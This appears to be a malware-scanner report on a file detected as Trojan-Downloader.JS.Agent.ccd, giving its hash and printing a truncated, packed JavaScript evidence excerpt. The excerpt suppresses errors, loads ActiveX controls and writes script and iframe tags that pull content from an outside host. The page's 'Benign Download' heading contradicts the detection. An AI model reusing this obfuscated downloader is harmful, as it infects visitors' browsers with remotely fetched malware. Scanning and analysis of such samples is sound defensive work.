Benign Download

Trojan-Downloader.JS.Agent.ccd

Builds characters with String.fromCharCodeDean Edwards JavaScript Packer detected

SHA-256edf3dde2660ef892bec426d31efa33b2f3d15cb08ff3888f22206ac3b39b99a0

Evidence

Builds characters with String.fromCharCode lines 1–4

1<script>window.onerror=function(){return true;}</script>
2<script>
3window.defaultStatus="���";
4eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('n{3 e;3 A=(5.13("2"));b(K.L.M().N("O 7")==-1)A.15("P","Q:16-17-18-1a-1b");3 1c=A.1d("1e.1f","")}p(e){};q{b(e!="[2 a]"){5.8("<B l=c:\\/\\/d.j.k\\/1g.R><\\/B>")}C{n{3 o;3 1h=r s("S.S.9")}p(o){};q{b(o!="[2 a]"){b(K.L.M().N("O")>0){5.8(\'<2 P="Q:1i-1j-1k-1l-1m" 1n="c:/ …

Contains a catch error handler line 4

4:1615… f|http|www||||||baiduby|cn|src|iframe|try||catch|finally|new|ActiveXObject|param|name|value|x44|html|IERPCtl||ado|script|else|width|height|swf|x6f|style|disp …